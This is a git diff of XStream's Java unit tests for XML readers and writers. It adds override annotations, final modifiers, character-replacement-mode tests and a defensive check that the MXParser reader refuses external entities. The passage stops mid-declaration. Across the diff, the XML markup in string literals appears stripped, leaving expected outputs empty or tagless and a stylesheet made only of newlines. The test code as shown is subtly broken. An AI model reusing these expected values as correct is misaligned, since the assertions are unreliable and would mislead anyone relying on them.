b/xstream/src/test/com/thoughtworks/xstream/io/xml/JDomWriterTest.java @@ -1,27 +1,30 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 09. September 2004 by Joe Walnes */ package com.thoughtworks.xstream.io.xml; import org.jdom.Element; -public class JDomWriterTest extends AbstractDocumentWriterTest { +public class JDomWriterTest extends AbstractDocumentWriterTest { + + @Override protected void setUp() throws Exception { super.setUp(); writer = new JDomWriter(); } - protected DocumentReader createDocumentReaderFor(final Object node) { - return new JDomReader((Element)node); + @Override + protected DocumentReader createDocumentReaderFor(final Element node) { + return new JDomReader(node); } // inherits tests from superclass diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/KXml2ReaderTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/KXml2ReaderTest.java index c271b92d6..75857aa8b 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/KXml2ReaderTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/KXml2ReaderTest.java @@ -1,29 +1,31 @@ /* - * Copyright (C) 2011, 2016 XStream Committers. + * Copyright (C) 2011, 2016, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 30. September 2011 by Joerg Schaible */ package com.thoughtworks.xstream.io.xml; +import java.io.StringReader; + import com.thoughtworks.xstream.XStreamException; import com.thoughtworks.xstream.io.HierarchicalStreamDriver; import com.thoughtworks.xstream.io.HierarchicalStreamReader; -import java.io.StringReader; public class KXml2ReaderTest extends AbstractXMLReaderTest { - - private HierarchicalStreamDriver driver = new KXml2Driver(); + + private final HierarchicalStreamDriver driver = new KXml2Driver(); // factory method + @Override protected HierarchicalStreamReader createReader(String xml) throws Exception { // fails to replace tab characters in attributes to space as required by XML spec - if(xml.indexOf('\t')>=0) { + if (xml.indexOf('\t') >= 0) { xml = xml.replace('\t', ' '); } return driver.createReader(new StringReader(xml)); diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/MXParserReaderTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/MXParserReaderTest.java new file mode 100644 index 000000000..ba2d489d6 --- /dev/null +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/MXParserReaderTest.java @@ -0,0 +1,49 @@ +/* + * Copyright (C) 2021 XStream Committers. + * All rights reserved. + * + * The software in this package is published under the terms of the BSD + * style license a copy of which has been included with this distribution in + * the LICENSE.txt file. + * + * Created on 2. January 2021 by Joerg Schaible + */ +package com.thoughtworks.xstream.io.xml; + +import java.io.StringReader; + +import com.thoughtworks.xstream.XStreamException; +import com.thoughtworks.xstream.io.HierarchicalStreamDriver; +import com.thoughtworks.xstream.io.HierarchicalStreamReader; + + +public class MXParserReaderTest extends AbstractXMLReaderTest { + + private final HierarchicalStreamDriver driver = new MXParserDriver(); + + // factory method + @Override + protected HierarchicalStreamReader createReader(final String xml) throws Exception { + return driver.createReader(new StringReader(xml)); + } + + @Override + public void testIsXXEVulnerableWithExternalGeneralEntity() throws Exception { + try { + super.testIsXXEVulnerableWithExternalGeneralEntity(); + fail("Thrown " + XStreamException.class.getName() + " expected"); + } catch (final XStreamException e) { + final String message = e.getCause().getMessage(); + if (message.indexOf("resolve entity") < 0) { + throw e; + } + } + } + + @Override + public void testSupportsFieldsWithSpecialCharsInXml11() throws Exception { + // no support for XML 1.1 for now + } + + // inherits tests from superclass +} diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/PrettyPrintWriterTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/PrettyPrintWriterTest.java index cde8eeee4..5264d41d8 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/PrettyPrintWriterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/PrettyPrintWriterTest.java @@ -1,35 +1,38 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2013 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2013, 2018, 2023, 2024 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 07. March 2004 by Joe Walnes */ package com.thoughtworks.xstream.io.xml; +import java.io.StringWriter; + import com.thoughtworks.xstream.core.util.QuickWriter; import com.thoughtworks.xstream.io.StreamException; -import java.io.StringWriter; - public class PrettyPrintWriterTest extends AbstractXMLWriterTest { private StringWriter buffer; + @Override protected void setUp() throws Exception { super.setUp(); buffer = new StringWriter(); writer = new PrettyPrintWriter(buffer, " "); } - protected void assertXmlProducedIs(String expected) { + @Override + protected void assertXmlProducedIs(final String expected) { assertEquals(expected, buffer.toString()); } + @Override public void testSupportsNestedElements() { // Note: This overrides a test in superclass to // include indentation @@ -53,7 +56,7 @@ public void testSupportsNestedElements() { // Note: This overrides a test in sup writer.endNode(); - String expected = "" + final String expected = "" + "\n" + " \n" + " potato\n" @@ -65,6 +68,7 @@ public void testSupportsNestedElements() { // Note: This overrides a test in sup assertXmlProducedIs(expected); } + @Override public void testAttributesAreResettedForNewNode() { // Note: This overrides a test in // superclass to include indentation writer.startNode("work"); @@ -77,7 +81,7 @@ public void testAttributesAreResettedForNewNode() { // Note: This overrides a te writer.endNode(); writer.endNode(); - String expected = "" + final String expected = "" + "\n" + " \n" + " \n" @@ -88,11 +92,13 @@ public void testAttributesAreResettedForNewNode() { // Note: This overrides a te public void testAllowsUserToOverrideTextAndAttributeEscapingRules() { writer = new PrettyPrintWriter(buffer, " ") { - protected void writeAttributeValue(QuickWriter writer, String text) { + @Override + protected void writeAttributeValue(final QuickWriter writer, final String text) { writer.write(replace(text, '&', "_&_")); } - protected void writeText(QuickWriter writer, String text) { + @Override + protected void writeText(final QuickWriter writer, final String text) { writer.write(replace(text, '&', "AND")); } }; @@ -106,7 +112,7 @@ protected void writeText(QuickWriter writer, String text) { } public void testSupportsUserDefinedEOL() { - writer = new PrettyPrintWriter(buffer, "\t"){ + writer = new PrettyPrintWriter(buffer, "\t") { @Override protected String getNewLine() { return "\r"; @@ -121,6 +127,7 @@ protected String getNewLine() { assertXmlProducedIs("\r\t\r"); } + @Override public void testSupportsEmptyNestedTags() { writer.startNode("parent"); writer.startNode("child"); @@ -161,10 +168,28 @@ public void testThrowsForNullInXml1_1Mode() { } } + public void testReplacesNullInXml1_0ReplacementMode() { + writer = new PrettyPrintWriter(buffer, PrettyPrintWriter.XML_1_0_REPLACEMENT); + writer.startNode("tag"); + writer.setValue("\u0000"); + writer.endNode(); + + assertXmlProducedIs(""); + } + + public void testReplacesNullInXml1_1ReplacementMode() { + writer = new PrettyPrintWriter(buffer, PrettyPrintWriter.XML_1_1_REPLACEMENT); + writer.startNode("tag"); + writer.setValue("\u0000"); + writer.endNode(); + + assertXmlProducedIs(""); + } + public void testSupportsOnlyValidControlCharactersInXml1_0Mode() { writer = new PrettyPrintWriter(buffer, PrettyPrintWriter.XML_1_0); writer.startNode("tag"); - String ctrl = "" + final String ctrl = "" + "\u0000\u0001\u0002\u0003\u0004\u0005\u0006\u0007" + "\u0008\u0009\n\u000b\u000c\r\u000e\u000f" + "\u0010\u0011\u0012\u0013\u0014\u0015\u0016\u0017" @@ -175,8 +200,8 @@ public void testSupportsOnlyValidControlCharactersInXml1_0Mode() { + "\u0090\u0091\u0092\u0093\u0094\u0095\u0096\u0097" + "\u0098\u0099\u009a\u009b\u009c\u009d\u009e\u009f" + ""; - for (int i = 0; i < ctrl.length(); i++ ) { - char c = ctrl.charAt(i); + for (int i = 0; i < ctrl.length(); i++) { + final char c = ctrl.charAt(i); try { writer.setValue(new Character(c).toString()); if (c != '\t' && c != '\n' && c != '\r' && c < '\u007f') { @@ -197,7 +222,7 @@ public void testSupportsOnlyValidControlCharactersInXml1_0Mode() { public void testSupportsOnlyValidControlCharactersInXml1_1Mode() { writer = new PrettyPrintWriter(buffer, PrettyPrintWriter.XML_1_1); writer.startNode("tag"); - String ctrl = "" + final String ctrl = "" + "\u0000\u0001\u0002\u0003\u0004\u0005\u0006\u0007" + "\u0008\u0009\n\u000b\u000c\r\u000e\u000f" + "\u0010\u0011\u0012\u0013\u0014\u0015\u0016\u0017" @@ -208,8 +233,8 @@ public void testSupportsOnlyValidControlCharactersInXml1_1Mode() { + "\u0090\u0091\u0092\u0093\u0094\u0095\u0096\u0097" + "\u0098\u0099\u009a\u009b\u009c\u009d\u009e\u009f" + ""; - for (int i = 0; i < ctrl.length(); i++ ) { - char c = ctrl.charAt(i); + for (int i = 0; i < ctrl.length(); i++) { + final char c = ctrl.charAt(i); try { writer.setValue(new Character(c).toString()); if (c == 0) { @@ -230,12 +255,72 @@ public void testSupportsOnlyValidControlCharactersInXml1_1Mode() { + "˜™š›œžŸ"); } + public void testReplacesInvalidControlCharactersInXml1_0ReplacementMode() { + writer = new PrettyPrintWriter(buffer, PrettyPrintWriter.XML_1_0_REPLACEMENT); + writer.startNode("tag"); + final String ctrl = "" + + "\u0000\u0001\u0002\u0003\u0004\u0005\u0006\u0007" + + "\u0008\u0009\n\u000b\u000c\r\u000e\u000f" + + "\u0010\u0011\u0012\u0013\u0014\u0015\u0016\u0017" + + "\u0018\u0019\u001a\u001b\u001c\u001d\u001e\u001f" + + "\u007f" + + "\u0080\u0081\u0082\u0083\u0084\u0085\u0086\u0087" + + "\u0088\u0089\u008a\u008b\u008c\u008d\u008e\u008f" + + "\u0090\u0091\u0092\u0093\u0094\u0095\u0096\u0097" + + "\u0098\u0099\u009a\u009b\u009c\u009d\u009e\u009f" + + ""; + for (int i = 0; i < ctrl.length(); i++) { + final char c = ctrl.charAt(i); + writer.setValue(new Character(c).toString()); + } + writer.endNode(); + + assertXmlProducedIs("��������" + + "�\t\n�� ��" + + "��������" + + "��������" + + "" + + "€‚ƒ„…†‡" + + "ˆ‰Š‹ŒŽ" + + "‘’“”•–—" + + "˜™š›œžŸ"); + } + + public void testReplacesInvalidControlCharactersInXml1_1ReplacementMode() { + writer = new PrettyPrintWriter(buffer, PrettyPrintWriter.XML_1_1_REPLACEMENT); + writer.startNode("tag"); + final String ctrl = "" + + "\u0000\u0001\u0002\u0003\u0004\u0005\u0006\u0007" + + "\u0008\u0009\n\u000b\u000c\r\u000e\u000f" + + "\u0010\u0011\u0012\u0013\u0014\u0015\u0016\u0017" + + "\u0018\u0019\u001a\u001b\u001c\u001d\u001e\u001f" + + "\u007f" + + "\u0080\u0081\u0082\u0083\u0084\u0085\u0086\u0087" + + "\u0088\u0089\u008a\u008b\u008c\u008d\u008e\u008f" + + "\u0090\u0091\u0092\u0093\u0094\u0095\u0096\u0097" + + "\u0098\u0099\u009a\u009b\u009c\u009d\u009e\u009f" + + ""; + for (int i = 0; i < ctrl.length(); i++) { + final char c = ctrl.charAt(i); + writer.setValue(new Character(c).toString()); + } + writer.endNode(); + assertXmlProducedIs("�" + + "\t\n " + + "" + + "" + + "€‚ƒ„…†‡" + + "ˆ‰Š‹ŒŽ" + + "‘’“”•–—" + + "˜™š›œžŸ"); + } + public void testSupportsInvalidUnicodeCharacterslInQuirksMode() { writer = new PrettyPrintWriter(buffer, PrettyPrintWriter.XML_QUIRKS); writer.startNode("tag"); - String ctrl = "\ud7ff\ud800\udfff\ue000\ufffd\ufffe\uffff"; - for (int i = 0; i < ctrl.length(); i++ ) { - char c = ctrl.charAt(i); + final String ctrl = "\ud7ff\ud800\udfff\ue000\ufffd\ufffe\uffff"; + for (int i = 0; i < ctrl.length(); i++) { + final char c = ctrl.charAt(i); writer.setValue(new Character(c).toString()); } writer.endNode(); @@ -245,12 +330,12 @@ public void testSupportsInvalidUnicodeCharacterslInQuirksMode() { public void testThrowsForInvalidUnicodeCharacterslInXml1_0Mode() { writer = new PrettyPrintWriter(buffer, PrettyPrintWriter.XML_1_0); writer.startNode("tag"); - String ctrl = "\ud7ff\ud800\udfff\ue000\ufffd\ufffe\uffff"; - for (int i = 0; i < ctrl.length(); i++ ) { - char c = ctrl.charAt(i); + final String ctrl = "\ud7ff\ud800\udfff\ue000\ufffd\ufffe\uffff"; + for (int i = 0; i < ctrl.length(); i++) { + final char c = ctrl.charAt(i); try { writer.setValue(new Character(c).toString()); - if ((c >= '\ud800' && c < '\udfff') || c == '\ufffe' || c == '\uffff') { + if (c >= '\ud800' && c < '\udfff' || c == '\ufffe' || c == '\uffff') { fail("Thrown " + StreamException.class.getName() + " for character value " @@ -268,12 +353,12 @@ public void testThrowsForInvalidUnicodeCharacterslInXml1_0Mode() { public void testThrowsForInvalidUnicodeCharacterslInXml1_1Mode() { writer = new PrettyPrintWriter(buffer, PrettyPrintWriter.XML_1_1); writer.startNode("tag"); - String ctrl = "\ud7ff\ud800\udfff\ue000\ufffd\ufffe\uffff"; - for (int i = 0; i < ctrl.length(); i++ ) { - char c = ctrl.charAt(i); + final String ctrl = "\ud7ff\ud800\udfff\ue000\ufffd\ufffe\uffff"; + for (int i = 0; i < ctrl.length(); i++) { + final char c = ctrl.charAt(i); try { writer.setValue(new Character(c).toString()); - if ((c >= '\ud800' && c < '\udfff') || c == '\ufffe' || c == '\uffff') { + if (c >= '\ud800' && c < '\udfff' || c == '\ufffe' || c == '\uffff') { fail("Thrown " + StreamException.class.getName() + " for character value " @@ -288,8 +373,59 @@ public void testThrowsForInvalidUnicodeCharacterslInXml1_1Mode() { assertXmlProducedIs("퟿\ue000\ufffd"); } - private String replace(String in, char what, String with) { - int pos = in.indexOf(what); + public void testReplacesInvalidUnicodeCharactersInXml1_0ReplacementMode() { + writer = new PrettyPrintWriter(buffer, PrettyPrintWriter.XML_1_0_REPLACEMENT); + writer.startNode("tag"); + final String ctrl = "\ud7ff\ud800\udfff\ue000\ufffd\ufffe\uffff"; + for (int i = 0; i < ctrl.length(); i++) { + final char c = ctrl.charAt(i); + writer.setValue(new Character(c).toString()); + } + writer.endNode(); + assertXmlProducedIs("퟿��\ue000\ufffd��"); + } + + public void testReplacesInvalidUnicodeCharactersInXml1_1ReplacementMode() { + writer = new PrettyPrintWriter(buffer, PrettyPrintWriter.XML_1_1_REPLACEMENT); + writer.startNode("tag"); + final String ctrl = "\ud7ff\ud800\udfff\ue000\ufffd\ufffe\uffff"; + for (int i = 0; i < ctrl.length(); i++) { + final char c = ctrl.charAt(i); + writer.setValue(new Character(c).toString()); + } + writer.endNode(); + assertXmlProducedIs("퟿��\ue000\ufffd��"); + } + + public void testSupportsSupplementaryMultilingualPlaneInQuirks_Mode() { + writer = new PrettyPrintWriter(buffer, PrettyPrintWriter.XML_QUIRKS); + writer.startNode("tag"); + writer.setValue("\uD83E\uDD8A"); + writer.endNode(); + + assertXmlProducedIs("\uD83E\uDD8A"); + } + + public void testSupportsSupplementaryMultilingualPlaneInXml1_0Mode() { + writer = new PrettyPrintWriter(buffer, PrettyPrintWriter.XML_1_0); + writer.startNode("tag"); + writer.setValue("\uD83E\uDD8A"); + writer.endNode(); + + assertXmlProducedIs("\uD83E\uDD8A"); + } + + public void testSupportsSupplementaryMultilingualPlaneInXml1_1Mode() { + writer = new PrettyPrintWriter(buffer, PrettyPrintWriter.XML_1_1); + writer.startNode("tag"); + writer.setValue("\uD83E\uDD8A"); + writer.endNode(); + + assertXmlProducedIs("\uD83E\uDD8A"); + } + + private String replace(final String in, final char what, final String with) { + final int pos = in.indexOf(what); if (pos == -1) { return in; } else { diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/SaxWriterTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/SaxWriterTest.java index 0651dba82..2b984b0a6 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/SaxWriterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/SaxWriterTest.java @@ -1,22 +1,25 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 14. August 2004 by Joe Walnes */ package com.thoughtworks.xstream.io.xml; -import com.megginson.sax.DataWriter; -import com.thoughtworks.acceptance.someobjects.X; -import com.thoughtworks.acceptance.someobjects.Y; -import com.thoughtworks.xstream.XStream; - -import junit.framework.TestCase; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.StringReader; +import java.io.StringWriter; +import java.io.Writer; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collections; +import java.util.List; import javax.xml.transform.ErrorListener; import javax.xml.transform.Templates; @@ -26,44 +29,48 @@ import javax.xml.transform.stream.StreamResult; import javax.xml.transform.stream.StreamSource; -import java.io.StringReader; -import java.io.StringWriter; -import java.io.Writer; -import java.util.ArrayList; -import java.util.Arrays; -import java.util.Collections; -import java.util.List; +import com.megginson.sax.DataWriter; +import com.thoughtworks.acceptance.objects.Software; +import com.thoughtworks.acceptance.someobjects.X; +import com.thoughtworks.acceptance.someobjects.Y; +import com.thoughtworks.xstream.XStream; + +import junit.framework.TestCase; + /* * @author Laurent Bihanic + * @author Joerg Schaible */ public class SaxWriterTest extends TestCase { - private final static String IDENTITY_STYLESHEET = - "\n" + - "\n" + - " \n" + - "\n" + - " \n" + - " \n" + - " \n" + - " \n" + - " \n" + - ""; + private final static String IDENTITY_STYLESHEET = "" + + "\n" + + "\n" + + " \n" + + "\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + ""; private XStream xstream; private X testInput; private Templates identityStylesheet; + @Override protected void setUp() throws Exception { super.setUp(); xstream = new XStream(); xstream.alias("x", X.class); xstream.alias("y", Y.class); + xstream.alias("software", Software.class); testInput = new X(); testInput.anInt = 9; @@ -71,142 +78,177 @@ protected void setUp() throws Exception { testInput.innerObj = new Y(); testInput.innerObj.yField = "ooo"; - identityStylesheet = TransformerFactory.newInstance().newTemplates(new StreamSource(new StringReader(IDENTITY_STYLESHEET))); + identityStylesheet = TransformerFactory + .newInstance() + .newTemplates(new StreamSource(new StringReader(IDENTITY_STYLESHEET))); } public void testMarshalsObjectToSAX() { - String expected = - "\n\n" + - "\n" + - " zzz\n" + - " 9\n" + - " \n" + - " ooo\n" + - " \n" + - "\n\n"; - - Writer buffer = new StringWriter(); - SaxWriter writer = new SaxWriter(); - DataWriter outputter = new DataWriter(writer, buffer); - outputter.setIndentStep(2); - - writer.setContentHandler(outputter); - - xstream.marshal(testInput, writer); + final String expected = "" + + "\n\n" + + "\n" + + " zzz\n" + + " 9\n" + + " \n" + + " ooo\n" + + " \n" + + "\n\n"; + + final Writer buffer = new StringWriter(); + try (final SaxWriter writer = new SaxWriter()) { + final DataWriter outputter = new DataWriter(writer, buffer); + outputter.setIndentStep(2); + + writer.setContentHandler(outputter); + + xstream.marshal(testInput, writer); + } assertEquals(expected, buffer.toString()); } public void testAllowsStartAndEndDocCallbacksToBeSkipped() { - String expected = - "1\n" + - "2\n" + - "3\n"; + final String expected = "" // + + "1\n" + + "2\n" + + "3\n"; - Writer buffer = new StringWriter(); - SaxWriter writer = new SaxWriter(false); - DataWriter outputter = new DataWriter(writer, buffer); - outputter.setIndentStep(2); + final Writer buffer = new StringWriter(); + try (final SaxWriter writer = new SaxWriter(false)) { + final DataWriter outputter = new DataWriter(writer, buffer); + outputter.setIndentStep(2); - writer.setContentHandler(outputter); + writer.setContentHandler(outputter); - xstream.marshal(new Integer(1), writer); - xstream.marshal(new Integer(2), writer); - xstream.marshal(new Integer(3), writer); + xstream.marshal(Integer.valueOf(1), writer); + xstream.marshal(Integer.valueOf(2), writer); + xstream.marshal(Integer.valueOf(3), writer); + } assertEquals(expected, buffer.toString()); } - public void testMarshalsObjectToTrAX() throws Exception { - String expected = - "zzz9" + - "ooo" + - "" + - "ooo"; + public void testMarshalsObjectToTrAX() throws TransformerException { + final String expected = "" + + "zzz9" + + "ooo" + + "" + + "ooo"; - TraxSource traxSource = new TraxSource(); + final TraxSource traxSource = new TraxSource(); traxSource.setXStream(xstream); traxSource.setSourceAsList(Arrays.asList(new Object[]{testInput, testInput.innerObj})); - Writer buffer = new StringWriter(); - Transformer transformer = identityStylesheet.newTransformer(); + final Writer buffer = new StringWriter(); + final Transformer transformer = identityStylesheet.newTransformer(); transformer.transform(traxSource, new StreamResult(buffer)); assertEquals(expected, buffer.toString()); } + public void testTransformedObjectOutputStream() throws IOException { + final String expected = "" // + + "" // + + "42" // + + "hello" // + + "" // + + "tw" // + + "xs"// + + "" // + + "" // + + ""; + + final TraxSource traxSource = new TraxSource(); + traxSource.setXStream(xstream); + + final Writer buffer = new StringWriter(); + ObjectOutputStream oos = null; + try { + oos = traxSource.createObjectOutputStream(identityStylesheet, buffer, "root"); + oos.writeInt(42); + oos.writeObject("hello"); + oos.writeObject(new Software("tw", "xs")); + oos.writeObject(null); + } finally { + if (oos != null) { + oos.close(); + } + } + assertEquals(expected, buffer.toString()); + } + public void testNullSourceObject() { - TraxSource traxSource = new TraxSource(); + final TraxSource traxSource = new TraxSource(); try { traxSource.setSource(null); fail("Null source object not rejected"); - } catch (IllegalArgumentException e) { /* good! */ + } catch (final IllegalArgumentException e) { /* good! */ } } public void testNullSourceList() { - TraxSource traxSource = new TraxSource(); + final TraxSource traxSource = new TraxSource(); try { traxSource.setSourceAsList(null); fail("Null source list not rejected"); - } catch (IllegalArgumentException e) { /* good! */ + } catch (final IllegalArgumentException e) { /* good! */ } } public void testEmptySourceList() { - TraxSource traxSource = new TraxSource(); + final TraxSource traxSource = new TraxSource(); try { traxSource.setSourceAsList(Collections.EMPTY_LIST); fail("Empty source list not rejected"); - } catch (IllegalArgumentException e) { /* good! */ + } catch (final IllegalArgumentException e) { /* good! */ } } /** - * This method tests a quite insidious side-effect of - * XStreamSource delaying the allocation and configuration of - * the SAXWriter until the XSLT processor requests it. + * This method tests a quite insidious side-effect of XStreamSource delaying the allocation and configuration of the + * SAXWriter until the XSLT processor requests it. *

    - * SAXWriter performs a copy of the source list contents upon - * property setting to avoid objects being added or removed from - * the list during the parse.

    + * SAXWriter performs a copy of the source list contents upon property setting to avoid objects being added or + * removed from the list during the parse. + *

    *

    - * To avoid just another list copy, XStreamSource does not - * protect itself against list changes. Hence, it is possible - * for an application to configure the XStreamSource and then - * empty the list prior triggering the XSL transformation.

    . + * To avoid just another list copy, XStreamSource does not protect itself against list changes. Hence, it is + * possible for an application to configure the XStreamSource and then empty the list prior triggering the XSL + * transformation. + *

    + * . *

    - * This method ensures SAXWriter indeed checks the list content - * prior starting the parse.

    + * This method ensures SAXWriter indeed checks the list content prior starting the parse. + *

    */ public void testEmptySourceListAtParse() throws Exception { - TraxSource traxSource = new TraxSource(); - Writer buffer = new StringWriter(); + final TraxSource traxSource = new TraxSource(); + final Writer buffer = new StringWriter(); - List list = new ArrayList(); + final List list = new ArrayList<>(); list.add(testInput); traxSource.setSourceAsList(list); list.clear(); - Transformer transformer = identityStylesheet.newTransformer(); + final Transformer transformer = identityStylesheet.newTransformer(); transformer.setErrorListener(new TrAXErrorListener()); try { transformer.transform(traxSource, new StreamResult(buffer)); fail("Empty source list not rejected"); - } catch (Exception expectedException) { - if (expectedException.getMessage().endsWith("shall not be an empty list")) { + } catch (final Exception expectedException) { + if (expectedException.getMessage().contains("shall not be an empty")) { // Good! } else { throw expectedException; } - } + } } private static class TrAXErrorListener implements ErrorListener { @@ -214,18 +256,19 @@ public TrAXErrorListener() { super(); } - public void warning(TransformerException e) { + @Override + public void warning(final TransformerException e) { /* Ignore... */ } - public void error(TransformerException e) { + @Override + public void error(final TransformerException e) { /* Ignore... */ } - public void fatalError(TransformerException e) - throws TransformerException { + @Override + public void fatalError(final TransformerException e) throws TransformerException { throw e; } } } - diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/SjsxpReaderTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/SjsxpReaderTest.java index bc585e528..32f20886e 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/SjsxpReaderTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/SjsxpReaderTest.java @@ -1,16 +1,15 @@ /* - * Copyright (C) 2011, 2015. 2017 XStream Committers. + * Copyright (C) 2011, 2015, 2017, 2018, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 30. September 2011 by Joerg Schaible */ package com.thoughtworks.xstream.io.xml; -import com.thoughtworks.xstream.io.HierarchicalStreamDriver; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import junit.framework.Test; @@ -18,33 +17,58 @@ import junit.framework.TestResult; import junit.framework.TestSuite; -import java.io.StringReader; -public class SjsxpReaderTest extends AbstractXMLReaderTest { +public class SjsxpReaderTest extends AbstractStaxReaderTest { final static String className = "com.sun.xml.internal.stream.XMLInputFactoryImpl"; public static Test suite() { try { Class.forName(className); return new TestSuite(SjsxpReaderTest.class); - } catch (ClassNotFoundException e) { + } catch (final ClassNotFoundException e) { return new TestCase(SjsxpReaderTest.class.getName() + ": not available") { - + + @Override public int countTestCases() { return 1; } - - public void run(TestResult result) { + + @Override + public void run(final TestResult result) { } }; } } - - private HierarchicalStreamDriver driver = new SjsxpDriver(); - // factory method - protected HierarchicalStreamReader createReader(String xml) throws Exception { - return driver.createReader(new StringReader(xml)); + @Override + protected StaxDriver createDriver(final QNameMap qnameMap) { + return new SjsxpDriver(qnameMap); + } + + @Override + protected HierarchicalStreamReader createReader(final String xml) throws Exception { + final String prefix = getName().endsWith("ISOControlCharactersInValue") ? XML_1_1_HEADER : ""; + return super.createReader(prefix + xml); + } + + @Override + protected String getSpecialCharsInJavaNamesForXml10() { + return super.getSpecialCharsInJavaNamesForXml10_4th(); + } + + @Override + public void testNullCharacterInValue() throws Exception { + // not possible, null value is invalid in XML + } + + @Override + public void testNonUnicodeCharacterInValue() throws Exception { + // not possible, character is invalid in XML + } + + @Override + public void testNonUnicodeCharacterInCDATA() throws Exception { + // not possible, character is invalid in XML } // inherits tests from superclass diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/SjsxpWriterTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/SjsxpWriterTest.java index 783fd17ca..89cbf5695 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/SjsxpWriterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/SjsxpWriterTest.java @@ -1,11 +1,11 @@ /* - * Copyright (C) 2007, 2008, 2009, 2011 XStream Committers. + * Copyright (C) 2007, 2008, 2009, 2011, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 30. September 2011 by Joerg Schaible, renamed from SjsxpStaxWriterTest */ package com.thoughtworks.xstream.io.xml; @@ -15,6 +15,7 @@ import junit.framework.TestResult; import junit.framework.TestSuite; + public final class SjsxpWriterTest extends AbstractStaxWriterTest { final static String className = "com.sun.xml.internal.stream.XMLOutputFactoryImpl"; @@ -22,37 +23,42 @@ public static Test suite() { try { Class.forName(className); return new TestSuite(SjsxpWriterTest.class); - } catch (ClassNotFoundException e) { + } catch (final ClassNotFoundException e) { return new TestCase(SjsxpWriterTest.class.getName() + ": not available") { - + + @Override public int countTestCases() { return 1; } - - public void run(TestResult result) { + + @Override + public void run(final TestResult result) { } }; } } + @Override protected void assertXmlProducedIs(String expected) { if (!staxDriver.isRepairingNamespace()) { - expected = perlUtil.substitute("s# xmlns=\"\"##g", expected); + expected = expected.replaceAll(" xmlns=\"\"", ""); } - expected = perlUtil.substitute("s#<(\\w+)([^>]*)/>#<$1$2>#g", expected); - expected = replaceAll(expected, " ", "\r"); + expected = expected.replaceAll("<(\\w+)([^>]*)/>", "<$1$2>"); + expected = expected.replace(" ", "\r"); // attributes are not properly escaped - expected = replaceAll(expected, " ", "\n"); - expected = replaceAll(expected, " ", "\t"); + expected = expected.replace(" ", "\n"); + expected = expected.replace(" ", "\t"); expected = getXMLHeader() + expected; assertEquals(expected, buffer.toString()); } + @Override protected String getXMLHeader() { return ""; } + @Override protected StaxDriver getStaxDriver() { return new SjsxpDriver(); } -} \ No newline at end of file +} diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/StandardStaxReaderTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/StandardStaxReaderTest.java index aef149555..cb9e15dfc 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/StandardStaxReaderTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/StandardStaxReaderTest.java @@ -1,27 +1,49 @@ /* - * Copyright (C) 2015, 2017 XStream Committers. + * Copyright (C) 2015, 2017, 2018, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 29. September 2015 by Joerg Schaible */ package com.thoughtworks.xstream.io.xml; -import com.thoughtworks.xstream.io.HierarchicalStreamDriver; import com.thoughtworks.xstream.io.HierarchicalStreamReader; -import java.io.StringReader; -public class StandardStaxReaderTest extends AbstractXMLReaderTest { - - private HierarchicalStreamDriver driver = new StandardStaxDriver(); +public class StandardStaxReaderTest extends AbstractStaxReaderTest { + + @Override + protected StaxDriver createDriver(final QNameMap qnameMap) { + return new StandardStaxDriver(qnameMap); + } + + @Override + protected HierarchicalStreamReader createReader(final String xml) throws Exception { + final String prefix = getName().endsWith("ISOControlCharactersInValue") ? XML_1_1_HEADER : ""; + return super.createReader(prefix + xml); + } + + @Override + protected String 